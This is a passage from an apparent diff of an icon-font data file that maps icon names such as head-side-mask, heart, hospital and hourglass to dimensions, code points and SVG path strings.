"M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z"], + "head-side-cough-slash": [640, 512, [], "e062", "M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z"], + "head-side-mask": [512, 512, [], "e063", "M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z"], + "head-side-virus": [512, 512, [], "e064", "M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z"], + "heading": [512, 512, [], "f1dc", "M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z"], + "headphones": [512, 512, [], "f025", "M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z"], + "headphones-alt": [512, 512, [], "f58f", "M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z"], + "headset": [512, 512, [], "f590", "M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z"], + "heart": [512, 512, [], "f004", "M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z"], + "heart-broken": [512, 512, [], "f7a9", "M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z"], + "heartbeat": [512, 512, [], "f21e", "M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z"], + "helicopter": [640, 512, [], "f533", "M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z"], + "highlighter": [544, 512, [], "f591", "M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z"], + "hiking": [384, 512, [], "f6ec", "M80.95 472.23c-4.28 17.16 6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z"], + "hippo": [640, 512, [], "f6ed", "M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"], + "history": [512, 512, [], "f1da", "M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z"], + "hockey-puck": [512, 512, [], "f453", "M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z"], + "holly-berry": [448, 512, [], "f7aa", "M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z"], + "home": [576, 512, [], "f015", "M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z"], + "horse": [576, 512, [], "f6f0", "M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"], + "horse-head": [512, 512, [], "f7ab", "M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z"], + "hospital": [448, 512, [], "f0f8", "M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z"], + "hospital-alt": [576, 512, [], "f47d", "M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"], + "hospital-symbol": [512, 512, [], "f47e", "M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z"], + "hospital-user": [640, 512, [], "f80d", "M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z"], + "hot-tub": [512, 512, [], "f593", "M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z"], + "hotdog": [512, 512, [], "f80f", "M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z"], + "hotel": [576, 512, [], "f594", "M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"], + "hourglass": [384, 512, [], "f254", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z"], + "hourglass-end": [384, 512, [], "f253", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z"], + "hourglass-half": [384, 512, [], "f252", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z"], + "hourglass-start": [384, 512, [], "f251", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z"], + "house-damage": [576, 512, [], "f6f1", "M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 